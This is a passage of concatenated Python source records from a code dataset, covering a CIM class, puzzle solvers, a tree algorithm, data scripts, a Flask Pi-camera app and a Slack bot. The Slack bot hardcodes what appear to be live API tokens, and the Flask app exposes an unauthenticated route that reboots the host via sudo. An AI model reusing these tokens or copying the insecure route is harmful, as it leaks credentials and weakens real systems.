open('C:/Users/panha/Desktop/xgfx/1002.txt', mode='w', encoding='utf-8') as f:\n        for key in stock_list:\n            f.write(\"{}\\n\".format(key.stock_code))\n\n\n\n","sub_path":"StockSelector2_3.py","file_name":"StockSelector2_3.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"246149917","text":"# Copyright (C) 2010-2011 Richard Lincoln\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n# IN THE SOFTWARE.\n\nfrom CIM14.CDPSM.Balanced.IEC61970.Core.IdentifiedObject import IdentifiedObject\n\nclass ToWindingSpec(IdentifiedObject):\n    \"\"\"For short-circuit tests, specifies the winding and tap for all short-circuited windings. \r For open-circuit tests, specifies the winding, tap, induced voltage, and induced angle for any non-excited windings that were measured during the test. This won't apply if only the exciting current and no-load losses were measured.\n    \"\"\"\n\n    def __init__(self, toTapStep=0, voltage=0.0, phaseShift=0.0, OpenCircuitTests=None, ShortCircuitTests=None, ToWinding=None, *args, **kw_args):\n        \"\"\"Initialises a new 'ToWindingSpec' instance.\n\n        @param toTapStep: Tap step number for the 'to' winding of the test pair. \n        @param voltage: (if open-circuit test) Voltage measured at the open-circuited 'to' winding, with the 'from' winding set to the 'from' winding's rated voltage and all other windings open-circuited. \n        @param phaseShift: (if open-circuit test) Phase shift measured at the open-circuited 'to' winding, with the 'from' winding set to the 'from' winding's rated voltage and all other windings open-circuited. \n        @param OpenCircuitTests: All open-circuit tests in which this winding was measured.\n        @param ShortCircuitTests: All short-circuit tests in which this winding was short-circuited.\n        @param ToWinding: Winding short-circuited in a short-circuit test, or measured for induced voltage and angle in an open-circuit test.\n        \"\"\"\n        #: Tap step number for the 'to' winding of the test pair.\n        self.toTapStep = toTapStep\n\n        #: (if open-circuit test) Voltage measured at the open-circuited 'to' winding, with the 'from' winding set to the 'from' winding's rated voltage and all other windings open-circuited.\n        self.voltage = voltage\n\n        #: (if open-circuit test) Phase shift measured at the open-circuited 'to' winding, with the 'from' winding set to the 'from' winding's rated voltage and all other windings open-circuited.\n        self.phaseShift = phaseShift\n\n        self._OpenCircuitTests = []\n        self.OpenCircuitTests = [] if OpenCircuitTests is None else OpenCircuitTests\n\n        self._ShortCircuitTests = []\n        self.ShortCircuitTests = [] if ShortCircuitTests is None else ShortCircuitTests\n\n        self._ToWinding = None\n        self.ToWinding = ToWinding\n\n        super(ToWindingSpec, self).__init__(*args, **kw_args)\n\n    _attrs = [\"toTapStep\", \"voltage\", \"phaseShift\"]\n    _attr_types = {\"toTapStep\": int, \"voltage\": float, \"phaseShift\": float}\n    _defaults = {\"toTapStep\": 0, \"voltage\": 0.0, \"phaseShift\": 0.0}\n    _enums = {}\n    _refs = [\"OpenCircuitTests\", \"ShortCircuitTests\", \"ToWinding\"]\n    _many_refs = [\"OpenCircuitTests\", \"ShortCircuitTests\"]\n\n    def getOpenCircuitTests(self):\n        \"\"\"All open-circuit tests in which this winding was measured.\n        \"\"\"\n        return self._OpenCircuitTests\n\n    def setOpenCircuitTests(self, value):\n        for p in self._OpenCircuitTests:\n            filtered = [q for q in p.MeasuredWindingSpecs if q != self]\n            self._OpenCircuitTests._MeasuredWindingSpecs = filtered\n        for r in value:\n            if self not in r._MeasuredWindingSpecs:\n                r._MeasuredWindingSpecs.append(self)\n        self._OpenCircuitTests = value\n\n    OpenCircuitTests = property(getOpenCircuitTests, setOpenCircuitTests)\n\n    def addOpenCircuitTests(self, *OpenCircuitTests):\n        for obj in OpenCircuitTests:\n            if self not in obj._MeasuredWindingSpecs:\n                obj._MeasuredWindingSpecs.append(self)\n            self._OpenCircuitTests.append(obj)\n\n    def removeOpenCircuitTests(self, *OpenCircuitTests):\n        for obj in OpenCircuitTests:\n            if self in obj._MeasuredWindingSpecs:\n                obj._MeasuredWindingSpecs.remove(self)\n            self._OpenCircuitTests.remove(obj)\n\n    def getShortCircuitTests(self):\n        \"\"\"All short-circuit tests in which this winding was short-circuited.\n        \"\"\"\n        return self._ShortCircuitTests\n\n    def setShortCircuitTests(self, value):\n        for p in self._ShortCircuitTests:\n            filtered = [q for q in p.ShortedWindingSpecs if q != self]\n            self._ShortCircuitTests._ShortedWindingSpecs = filtered\n        for r in value:\n            if self not in r._ShortedWindingSpecs:\n                r._ShortedWindingSpecs.append(self)\n        self._ShortCircuitTests = value\n\n    ShortCircuitTests = property(getShortCircuitTests, setShortCircuitTests)\n\n    def addShortCircuitTests(self, *ShortCircuitTests):\n        for obj in ShortCircuitTests:\n            if self not in obj._ShortedWindingSpecs:\n                obj._ShortedWindingSpecs.append(self)\n            self._ShortCircuitTests.append(obj)\n\n    def removeShortCircuitTests(self, *ShortCircuitTests):\n        for obj in ShortCircuitTests:\n            if self in obj._ShortedWindingSpecs:\n                obj._ShortedWindingSpecs.remove(self)\n            self._ShortCircuitTests.remove(obj)\n\n    def getToWinding(self):\n        \"\"\"Winding short-circuited in a short-circuit test, or measured for induced voltage and angle in an open-circuit test.\n        \"\"\"\n        return self._ToWinding\n\n    def setToWinding(self, value):\n        if self._ToWinding is not None:\n            filtered = [x for x in self.ToWinding.ToWindingSpecs if x != self]\n            self._ToWinding._ToWindingSpecs = filtered\n\n        self._ToWinding = value\n        if self._ToWinding is not None:\n            if self not in self._ToWinding._ToWindingSpecs:\n                self._ToWinding._ToWindingSpecs.append(self)\n\n    ToWinding = property(getToWinding, setToWinding)\n\n","sub_path":"CIM14/CDPSM/Balanced/IEC61968/AssetModels/ToWindingSpec.py","file_name":"ToWindingSpec.py","file_ext":"py","file_size_in_byte":6798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"317063635","text":"import sys; sys.dont_write_bytecode = True; from utils import *\n\ndef do_case(inp: str, sample=False):\n    # READ THE PROBLEM FROM TOP TO BOTTOM OK\n    def sprint(*a, **k): sample and print(*a, **k)\n    lines = inp.splitlines()\n    paras = inp.split(\"\\n\\n\")\n    out = 0\n\n    d = []\n    allergens = set()\n    allergen_to_things = defaultdict(list)\n\n    for line in lines:\n        thing, contains = line.split(\" (contains \")\n        contains = contains.rstrip(\")\").split(\", \")\n        thing = set(thing.split())\n        d.append([thing, contains])\n        allergens.update(contains)\n        for allergen in contains:\n            allergen_to_things[allergen].append(thing)\n    # sprint(allergen_to_things)\n    # sprint(allergens)\n\n    thing_to_allergen = {}\n    allergen_to_thing = {}\n    good = True\n    while good:\n        good = False\n        for allergen in allergen_to_things:\n            if allergen in thing_to_allergen:\n                continue\n            things = allergen_to_things[allergen]\n            possible = functools.reduce(operator.__and__, map(frozenset,things))\n            possible -= set(thing_to_allergen)\n            # sprint(allergen, things, possible)\n            if len(possible) == 1:\n                thing_to_allergen[next(iter(possible))] = allergen\n                allergen_to_thing[allergen] = next(iter(possible))\n                good = True\n    \n    found = set(thing_to_allergen)\n    for allergen in allergen_to_things:\n        if allergen in thing_to_allergen:\n            continue\n        things = allergen_to_things[allergen]\n        possible = functools.reduce(operator.__and__, map(frozenset,things))\n        possible -= set(thing_to_allergen)\n        found.update(possible)\n        \n    \n    \n    sprint(thing_to_allergen)\n    for thing, contains in d:\n        for x in thing:\n            if x not in found:\n                out+=1\n    assert len(thing_to_allergen) == len(allergens)\n    blah = [(thing_to_allergen[key], key) for key in thing_to_allergen]\n    blah.sort()\n    print(\",\".join(map(snd, blah)))\n\n    \n    if out:\n        print(\"out:    \", out)\n    return  # RETURNED VALUE DOESN'T DO ANYTHING, PRINT THINGS INSTEAD\n\n\n\nrun_samples_and_actual([\nr\"\"\"\nmxmxvkd kfcds sqjhc nhms (contains dairy, fish)\ntrh fvjkl sbzzf mxmxvkd (contains dairy)\nsqjhc fvjkl (contains soy)\nsqjhc mxmxvkd sbzzf (contains fish)\n\n\"\"\",r\"\"\"\n\n\"\"\",r\"\"\"\n\n\"\"\",r\"\"\"\n\n\"\"\",r\"\"\"\n\n\"\"\",r\"\"\"\n\n\"\"\",r\"\"\"\n\n\"\"\"], do_case)\n","sub_path":"2020/21/a-p2.py","file_name":"a-p2.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"26222294","text":"class Node(object):\n    def __init__(self, val):\n        self.val = val\n        self.left = None\n        self.right = None\n\n    def __lt__(self, val):\n        return self.val < val\n\n    def __gt__(self, val):\n        return self.val > val\n\n    def __eq__(self, val):\n        return self.val == val\n\n    def __str__(self):\n        return \"[Node val: %d]\" % self.val  \n\nclass Tree(object):\n    def __init__(self):\n        self.root = None\n\n    def put(self, val):\n        self.root = self._put(self.root, val)\n\n    def _put(self, node, val):\n        if node is None:\n            node = Node(val)\n\n        if val < node:\n            node.left = self._put(node.left, val)\n        elif val > node:\n            node.right = self._put(node.right, val)\n        else:\n            node.val = val\n\n        return node\n\n    #def get(self, val):\n     #   return self._get(self.root, val)  # coverage\n\n    def _get(self, node, val):\n        while not node is None:\n            if val < node:\n                node = node.left\n            elif val > node:\n                node = node.right\n            else:\n                return node.val\n\n        return None\n\n    # This method returns `None` if no common is found\n    def find_common_ancestor(self, a, b):\n        return self._find_common_ancestor(self.root, a, b)\n\n    def _find_common_ancestor(self, node, a, b):\n        # Traverse right until a diverge occurs\n        if a > node and b > node:\n            if node.right is None:\n                return None  # coverage\n\n            # if right node is `a` or `b` then we found common\n            if node.right == a or node.right == b:\n                return node.val\n\n            return self._find_common_ancestor(node.right, a, b)\n\n        # Traverse left until a diverge occurs\n        elif a < node and b < node:\n            if node.left is None:\n                return None  # coverage\n\n            # if left node is `a` or `b` then we found common\n            if node.left == a or node.left == b:\n                return node.val\n\n            return self._find_common_ancestor(node.left, a, b)\n\n        # root does not have any common ancestor\n        # This test is later because we dont want the\n        # recursion to hit it every time\n        elif a == self.root or b == self.root:\n            return None  # coverage says no but it's covered by \n\n        else:\n            # A diverge of the tree traversal occurs here\n            # So the current node is a potential common ancestor\n            # Verify that a and b are legitimate nodes\n            if self._node_exists(node, a):\n                # `a` exists ensure `b` exists\n                if self._node_exists(node, b):\n                    # Common ancestor is validated\n                    return node.val\n                else:\n                    return None  # coverage\n            else:\n                return None\n\n    #def node_exists(self, val):\n    #    return self._node_exists(self.root, val)  # coverage\n\n    def _node_exists(self, node, val):\n        return not self._get(node, val) is None\n\n   \n    def traverse(self, root):\n        current_level = [root]\n        count = 0\n        while current_level:\n            print(' '.join(str(node) for node in current_level))\n            next_level = list()\n            for n in current_level:\n                if n.left:\n                    next_level.append(n.left)\n                if n.right:\n                    next_level.append(n.right)\n                current_level = next_level\n                count += 1\n        return count\n\nif __name__ == \"__main__\":\n    from sys import stdout\n    vals = [30, 8, 52, 3, 20, 10, 29, 62]\n    tree = Tree()\n    [tree.put(val) for val in vals]\n    pairs = [\n        (3, 20),\n        (3, 29),\n        (10, 29),\n        (20, 52),\n        (3, 62),\n        (4, 29),\n        (3, 1),\n        (8, 3),\n        (8, 20)\n    ]\n    \n    tree.traverse(tree.root)\n    print()\n    \n    for (a, b) in pairs:\n        stdout.write(\"Common for %d & %d: \" % (a, b))\n        print(tree.find_common_ancestor(a, b))\n\n","sub_path":"GraphsCS3012/GraphCS3012.py","file_name":"GraphCS3012.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"431052407","text":"from flask import Flask, render_template\nfrom picamera import PiCamera\nimport time,os,random\n\nvideoName = None\ngestartet = False\ncam = None\ndisk = None\n\nsensor_mode = 4\nresolution = (1920,1080)\nfps = 30\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    global cam\n    if(cam==None):\n        cam = PiCamera(sensor_mode=sensor_mode,resolution=resolution,framerate=fps)\n        cam.vflip = True\n\n    global disk\n    statvfs = os.statvfs('/')\n    disk=round(statvfs.f_frsize*statvfs.f_bavail/2**30,2)\n\n    cam.capture(\"static/img/vorschau.jpg\")\n    #time.sleep(4)\n    \n    if not gestartet:\n        return render_template('starten.html',random=str(random.randint(1,100000)),disk=disk)\n    else:\n        return render_template('stoppen.html',random=str(random.randint(1,100000)),disk=disk)\n    \n@app.route('/starten',methods=['POST'])\ndef starten():\n    global gestartet\n    gestartet = True\n\n    global videoName\n    videoName = time.strftime(\"%d%m%y%H%M%S\",time.localtime())\n    cam.start_recording(\"static/video/h264/{0}.h264\".format(videoName))\n    \n    return render_template('stoppen.html',random=str(random.randint(1,100000)),disk=disk)\n    \n@app.route('/stoppen',methods=['POST'])\ndef stoppen():\n    global gestartet\n    gestartet = False\n\n    cam.stop_recording()\n    #os.system(\"MP4Box -fps {0} -add {1} {2}\".format(fps,\"static/video/h264/{0}.h264\".format(videoName),\"static/video/mp4/{0}.mp4\".format(videoName)))  \n\n    return render_template('starten.html',random=str(random.randint(1,100000)),disk=disk)\n\n@app.route('/neustarten',methods=['POST'])\ndef neustarten():\n    os.system(\"sudo shutdown -r now\")\n    \nif __name__ == '__main__':\n    app.run(debug=True)\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"141676265","text":"import subprocess\r\nfrom bottle import run, post, request, response, get, route\r\nimport slack, time\r\nfrom PIL import Image\r\nfrom PIL import ImageFont\r\nfrom PIL import ImageDraw\r\nimport requests, json\r\nimport imageio\r\nimport threading\r\n\r\n# <@U0216GLKBTR> my id\r\n# <@U021TGL7FV2> bot id\r\nclient = slack.WebClient(token='xoxb-2055336641954-2061564253988-ObJXQamuq1YSqxao9gqs3y1X')\r\n#client = slack.WebClient(token='xoxp-2055336641954-2040564657943-2048421007543-a6b5ca53ebd029bd187ea755b4b5c8d0')\r\n\r\ntest_id = \"C022B45ANL8\"\r\ngen_id = \"C021TENLBLL\"\r\nts = \"1620835912.000300\" # ts of message to edit\r\n\r\nUKG_TEAL = (48, 206, 187)\r\nUKG_DARK = (0, 81, 81)\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\n\r\ndadurl = \"https://icanhazdadjoke.com/slack\"\r\ndef get_dad_joke():\r\n    x = requests.get(dadurl)\r\n    return x.json()[\"attachments\"][0][\"text\"]\r\n\r\ndef generate_timer_gif(at, total):\r\n    frames = min(30, total-at)\r\n    at_pos = 0\r\n    filenames = []\r\n    while frames > 0:\r\n        filenames.append(create_timer_img(total - (at+at_pos), at_pos))\r\n        frames -= 1\r\n        at_pos += 1\r\n    \r\n    images = []\r\n    for filename in filenames:\r\n        images.append(imageio.imread(filename))\r\n        imageio.mimsave('movie.gif', images, format='GIF', fps=1, loop=1)\r\n\r\ndef create_timer_img(timestamp, iter=0):\r\n    image = Image.new(\"RGBA\", (800, 600), UKG_TEAL)\r\n    draw = ImageDraw.Draw(image)\r\n    font = ImageFont.truetype(\"Roboto-Bold.ttf\", 156)\r\n    tm = time.strftime('%H:%M:%S', time.gmtime(timestamp))\r\n    draw.text((85, 215), tm, UKG_DARK, font=font)\r\n    image.save(f\"timer{iter}.png\")\r\n    return f\"timer{iter}.png\"\r\n\r\ndef send_image(ts, filename):\r\n        upload_result = client.files_upload(channels=test_id, file=filename)\r\n        del_ts = client.conversations_history(channel=test_id, limit=1)[\"messages\"][0][\"ts\"]\r\n        deleted = client.chat_delete(channel=test_id,ts=del_ts)\r\n\r\n        pub_url = upload_result[\"file\"][\"permalink_public\"]\r\n        TFP = pub_url.split('/')[3]\r\n        TFP_arr = TFP.split('-')\r\n        new_url = f\"https://files.slack.com/files-pri/{TFP_arr[0]}-{TFP_arr[1]}/{filename}\"\r\n\r\n        attch = [\r\n            {\r\n                \"fallback\": \"Required plain-text summary of the attachment.\",\r\n                \"image_url\": new_url,\r\n                \"thumb_url\": new_url,\r\n            }\r\n        ]\r\n        \r\n        result = client.chat_update(channel=gen_id, ts=ts, text=\"\", attachments = attch)\r\n\r\ndef run_timer(timer_amn):\r\n    seconds_since_start = 0\r\n    client.chat_postMessage(channel=gen_id, text=\"Starting Timer...\")\r\n    ts = client.conversations_history(channel=gen_id, limit=1)[\"messages\"][0][\"ts\"]\r\n\r\n    generate_timer_gif(0, timer_amn)\r\n    \r\n    curr_time = prev_time = int(time.time())\r\n    while seconds_since_start < timer_amn:\r\n        send_image(ts, \"movie.gif\")\r\n        generate_timer_gif(seconds_since_start+30, timer_amn)\r\n        next_time_inc = min(timer_amn-seconds_since_start, 30)\r\n        while curr_time < prev_time + next_time_inc:\r\n            curr_time = int(time.time())\r\n        seconds_since_start += curr_time-prev_time\r\n        prev_time = curr_time\r\n\r\n    create_timer_img(0)\r\n    send_image(ts, \"timer0.png\")\r\n    client.chat_postMessage(channel=gen_id, text=\"<!here> Time's up! \" + get_dad_joke())\r\n\r\n@route('/<path>',method = 'POST')\r\ndef process(path):\r\n    #path = \"joke\"\r\n    print(path)\r\n    if path == \"joke\":\r\n        client.chat_postMessage(channel=gen_id, text=get_dad_joke())\r\n    elif path == \"agar\":\r\n        client.chat_postMessage(channel=gen_id, text=\"https://agar.io/\")\r\n    elif path == \"jspaint\":\r\n        client.chat_postMessage(channel=gen_id, text=\"https://jspaint.app/\")\r\n    elif path == \"timer\":\r\n        x = threading.Thread(target=run_timer, args=(90,))\r\n        x.start()\r\n    return response\r\n\r\n# ngrok http 8080\r\nrun(host='localhost', port=8080)","sub_path":"servertest.py","file_name":"servertest.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"42229119","text":"\"\"\"\nGiven an array of n positive integers and a positive integer s, find the minimal length of a subarray of\nwhich the sum >= s.  If there isn't one, return -1 instead.\n\nExample:\nGiven the array [2,3,1,2,4,3] and s = 7, the subarray [4,3] has the minimal length under the problem constraint.\n\n\"\"\"\n\n\nclass Solution:\n     # @param nums: a list of integers\n     # @param s: an integer\n     # @return: an integer representing the minimum size of subarray\n    def minimumSize(self, nums, s):\n        start, end, sum = 0, 0, 0\n        size = len(nums)\n        res = size + 1\n        while start < size:\n            while end < size and sum < s:\n                sum += nums[end]\n                end += 1\n\n            # check if resulat meets requirement\n            if sum >= s:\n                res = min(res, end - start)\n\n            sum -= nums[start]\n            start += 1\n\n        if res == size+1:\n            res = -1\n        return res","sub_path":"TwoPointers/MinimumSizeSubarraySum.py","file_name":"MinimumSizeSubarraySum.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"19366865","text":"\"\"\"Utilities for Updating data.json catalog\"\"\"\nimport re, base64, os\nimport logging\nimport random\nfrom datetime import datetime\nfrom airflow.operators.python_operator import PythonOperator\nfrom trident.util import general\nfrom trident.util.notifications import afsys_send_email\nimport json\n\n\nconf = general.config\n\ndef update_json_date(ds_fname, **kwargs):\n    \n    exec_date = kwargs['execution_date'].strftime(\"%Y-%m-%d\")\n    test_mode = kwargs['test_mode']\n\n    logging.info(f\"Looking for {ds_fname}\")\n\n    json_path = f\"{conf['prod_data_dir']}/data.json\"\n\n    with open(json_path) as json_file:\n        data = json.load(json_file)\n\n    # if test_mode is not True:\n\n    for dataset in data['dataset']:\n        if ds_fname == dataset['identifier']:\n            prev_date = dataset['modified']\n            if prev_date != exec_date:\n                dataset['modified'] = exec_date\n                # Need stuff in here to upload to Netlify\n            else:\n                return f\"{ds_fname} already matches {exec_date}\"\n\n    with open (json_path, 'w') as outfile:\n        json.dump(data, outfile, indent=4)\n\n    return \"Successfully checked date updated\"\n\ndef update_datajson_dag(ds_fname, dag):\n    task = PythonOperator(\n        task_id=f\"update_{ds_fname}\",\n        python_callable=update_json_date,\n        provide_context=True,\n        op_kwargs={'ds_fname': ds_fname},\n        \n        on_retry_callback=notify,\n        on_success_callback=notify,\n        dag=dag)\n\n    return task\n","sub_path":"poseidon/trident/util/datajson_updates.py","file_name":"datajson_updates.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"421416182","text":"\"\"\"\nCheck the availabitlity of yahoo quotes for companies.\n\nSet the new field \"yahoo_quotes\" with values 0 or 1.\n\"\"\"\n\nimport datetime\nimport pandas_datareader.data as web\nfrom pymongo import MongoClient\n\n\nstart = datetime.datetime(2008, 1, 1)\nend = datetime.datetime(2016, 6, 30)\n\nmongo_con = MongoClient()\nstocktwits_original_tickers_db = (mongo_con['stocktwits']\n                                  ['stocktwits.stocktwits_original_tickers'])\n# stocktwits_original_quotes_db = (mongo_con['stocktwits']\n#                                  ['yahoo_original_quotes'])\n\ntickers = (stocktwits_original_tickers_db.\n           find().\n           sort(\"count\", -1).\n           limit(150).batch_size(50))\ncounter = 0\nfor ticker in tickers:\n    try:\n        quotes = web.DataReader(ticker['_id'], 'yahoo', start, end)\n        quotes.reset_index(level=0, inplace=True)\n        quotes_mongoed = quotes.to_dict('records')\n        for day in quotes_mongoed:\n            t = str(day['Date'])\n            # print t\n            day['Date'] = datetime.datetime.strptime(t, \"%Y-%m-%d %H:%M:%S\")\n            day['symbol'] = ticker['_id']\n            # stocktwits_original_quotes_db.insert(day)\n            stocktwits_original_tickers_db.update({\"_id\": ticker[\"_id\"]},\n                                                  {\"$set\": {\"yahoo_quotes\": 1}}\n                                                  )\n        counter += 1\n        print(str(counter))\n        print(ticker['_id'])\n    except:\n        print(\"No Yahoo quotes for ticker\" + ticker['_id'])\n        stocktwits_original_tickers_db.update({\"_id\": ticker[\"_id\"]},\n                                              {\"$set\": {\"yahoo_quotes\": 0}}\n                                              )\n\nmongo_con.close()\n","sub_path":"1_crowd/5_get_yahoo_quotes.py","file_name":"5_get_yahoo_quotes.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"375674571","text":"from context import fractal\nfrom fractal.dataloader import Loader\nfrom fractal import utils\nfrom fractal.plotting import plot_image\nfrom fractal.coding import encode_svd, decode_svd\nfrom skimage.transform import rescale\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nfrom PIL import Image\nimport argparse\nimport os\n\nMODE = 'equipartition8'\n\ndef save_contractiveness_factors(domain_chunks, iternum):\n    num_weights = len(domain_chunks[0].ravel())\n    X = np.zeros([num_weights, len(domain_chunks)])\n\n    for i in range(len(domain_chunks)):\n        X[:, i] = np.ravel(domain_chunks[i])\n\n    u, s, vh = np.linalg.svd(X)\n\n    R = np.dot(np.diag(s), vh[:len(s), :len(s)])\n\n    df = None\n    for idx, weights in enumerate(codebook):\n        print(f'saving contractiveness factors for block {idx}/{len(codebook)}, iteration {iternum}')\n        contractiveness = np.dot(np.linalg.inv(R), weights.reshape(num_weights,1))\n\n        contractiveness = np.array([idx] + \\\n                            contractiveness.ravel().tolist())[np.newaxis, :]\n        if df is None:\n            df = pd.DataFrame(contractiveness)\n        else:\n            df = df.append(pd.DataFrame(contractiveness))\n\n    df.to_csv(f\"contractiveness_{iternum}.csv\")\n\nparser = argparse.ArgumentParser(description='select image')\nparser.add_argument('--imagepath', type=str)\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n    ############################################################################\n    # load the first face image\n    ############################################################################\n    images = Loader(\"\", regex=args.imagepath)\n    range_image = images.get_image(0, scale_factor=1)\n\n    # plot it so we know what it looks like\n    plot_image(range_image, \n        title=f\"Range Image {range_image.shape[0]}x{range_image.shape[1]}\",\n        cmap='gray')\n\n    ############################################################################\n    # divide up the first image into chunks\n    ############################################################################\n    # domain image is a 50% downsampled range image\n    domain_image = images.get_image(0, scale_factor=1/2)\n\n    plot_image(domain_image, \n        title=f\"Domain Image {domain_image.shape[0]}x{domain_image.shape[1]}\",\n        cmap='gray')\n\n    # each block is 4x4\n    domain_chunks = utils.Partition(domain_image, mode=MODE)\n    range_chunks = utils.Partition(range_image, mode=MODE)\n    print(\"partitioned\")\n\n    ############################################################################\n    # encode the range image\n    ############################################################################\n    codebook = encode_svd(domain_chunks, range_chunks, verbose=False)\n    # codebook[:, 8:] = 0\n\n    # facedir = Path(__file__).resolve().parent.parent / \"data\" / \"faces\"\n    if args.imagepath == 'mandrill.jpg':\n        facedir = Path(__file__).resolve().parent.parent / \"data\"\n        aaronface = Image.open(list(facedir.glob(\"lena_gray.jpg\"))[0])\n        print(aaronface)\n        aaronface = np.asarray(aaronface.getdata()).reshape(512,512)\n        aaronface = rescale(aaronface, 0.25)\n    else:\n        facedir = Path(__file__).resolve().parent.parent / \"data\"\n        aaronface = Image.open(list(facedir.glob(\"mandrill.jpg\"))[0])\n        aaronface = np.asarray(aaronface.getdata()).reshape(512,512)\n        aaronface = rescale(aaronface, 0.25)\n    # aaronface = np.asarray(aaronface.getdata()).reshape(64,64)\n\n    # aaronface = images.get_image(0, scale_factor=0.125/2)\n    plot_image(aaronface, \n        title=f\"Domain Image {aaronface.shape[0]}x{aaronface.shape[1]}\",\n        cmap='gray')\n\n    domain_chunks = utils.Partition(aaronface, mode=MODE)\n    reconstructed_chunks = decode_svd(codebook, domain_chunks)\n\n    # save_contractiveness_factors(domain_chunks, 1)\n    \n    for i in range(26):\n        rec_dim = rescale(reconstructed_chunks.image, 0.5) \n        domain_chunks = utils.Partition(rec_dim, mode=MODE)\n        # save_contractiveness_factors(domain_chunks, i)\n        reconstructed_chunks = decode_svd(codebook, domain_chunks)\n        if i in [1, 5, 10, 20, 25]:\n            plot_image(reconstructed_chunks.image, \n            title=f\"Reconstructed Image {i} iterations \\n{reconstructed_chunks.image.shape[0]}x{reconstructed_chunks.image.shape[0]} ({MODE})\", \n            cmap='gray', y=0.98)\n            print(f\"residual: {i},  {np.sum((range_image - reconstructed_chunks.image)**2)}\")\n\n\n    # pd.DataFrame(reconstructed_chunks.image).to_csv(\"reconstruction.csv\")\n\n\n","sub_path":"bin/main_svd.py","file_name":"main_svd.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"262874300","text":"\"\"\"\nInstrumental variable estimators\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nfrom numpy import (any, array, asarray, average, c_, isscalar, logical_not,\n                   ones, sqrt, nanmean)\nfrom numpy.linalg import eigvalsh, inv, matrix_rank, pinv\nfrom pandas import DataFrame, Series\nfrom scipy.optimize import minimize\n\nfrom linearmodels.iv._utility import parse_formula\nfrom linearmodels.iv.covariance import (ClusteredCovariance,\n                                        HeteroskedasticCovariance,\n                                        HomoskedasticCovariance,\n                                        KernelCovariance)\nfrom linearmodels.iv.data import IVData\nfrom linearmodels.iv.gmm import (HeteroskedasticWeightMatrix,\n                                 HomoskedasticWeightMatrix, IVGMMCovariance,\n                                 KernelWeightMatrix,\n                                 OneWayClusteredWeightMatrix)\nfrom linearmodels.iv.results import IVGMMResults, IVResults, OLSResults\nfrom linearmodels.utility import (WaldTestStatistic, has_constant, inv_sqrth,\n                                  missing_warning)\n\n__all__ = ['COVARIANCE_ESTIMATORS', 'WEIGHT_MATRICES', 'IVGMM', 'IVLIML', 'IV2SLS',\n           'IVGMMCUE', '_OLS']\n\nCOVARIANCE_ESTIMATORS = {'homoskedastic': HomoskedasticCovariance,\n                         'unadjusted': HomoskedasticCovariance,\n                         'HomoskedasticCovariance': HomoskedasticCovariance,\n                         'homo': HomoskedasticCovariance,\n                         'robust': HeteroskedasticCovariance,\n                         'heteroskedastic': HeteroskedasticCovariance,\n                         'HeteroskedasticCovariance': HeteroskedasticCovariance,\n                         'hccm': HeteroskedasticCovariance,\n                         'kernel': KernelCovariance,\n                         'KernelCovariance': KernelCovariance,\n                         'one-way': ClusteredCovariance,\n                         'clustered': ClusteredCovariance,\n                         'OneWayClusteredCovariance': ClusteredCovariance}\n\nWEIGHT_MATRICES = {'unadjusted': HomoskedasticWeightMatrix,\n                   'homoskedastic': HomoskedasticWeightMatrix,\n                   'robust': HeteroskedasticWeightMatrix,\n                   'heteroskedastic': HeteroskedasticWeightMatrix,\n                   'kernel': KernelWeightMatrix,\n                   'clustered': OneWayClusteredWeightMatrix,\n                   'one-way': OneWayClusteredWeightMatrix\n                   }\n\n\nclass IVLIML(object):\n    r\"\"\"\n    Limited information ML and k-class estimation of IV models\n\n    Parameters\n    ----------\n    dependent : array-like\n        Endogenous variables (nobs by 1)\n    exog : array-like\n        Exogenous regressors  (nobs by nexog)\n    endog : array-like\n        Endogenous regressors (nobs by nendog)\n    instruments : array-like\n        Instrumental variables (nobs by ninstr)\n    weights : array-like, optional\n        Observation weights used in estimation\n    fuller : float, optional\n        Fuller's alpha to modify LIML estimator. Default returns unmodified\n        LIML estimator.\n    kappa : float, optional\n        Parameter value for 